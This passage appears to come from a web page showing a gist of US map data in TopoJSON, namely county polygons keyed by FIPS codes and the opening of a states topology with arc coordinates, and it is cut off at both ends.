ygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/74c955c65eec82f8425616d26fabee4f">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,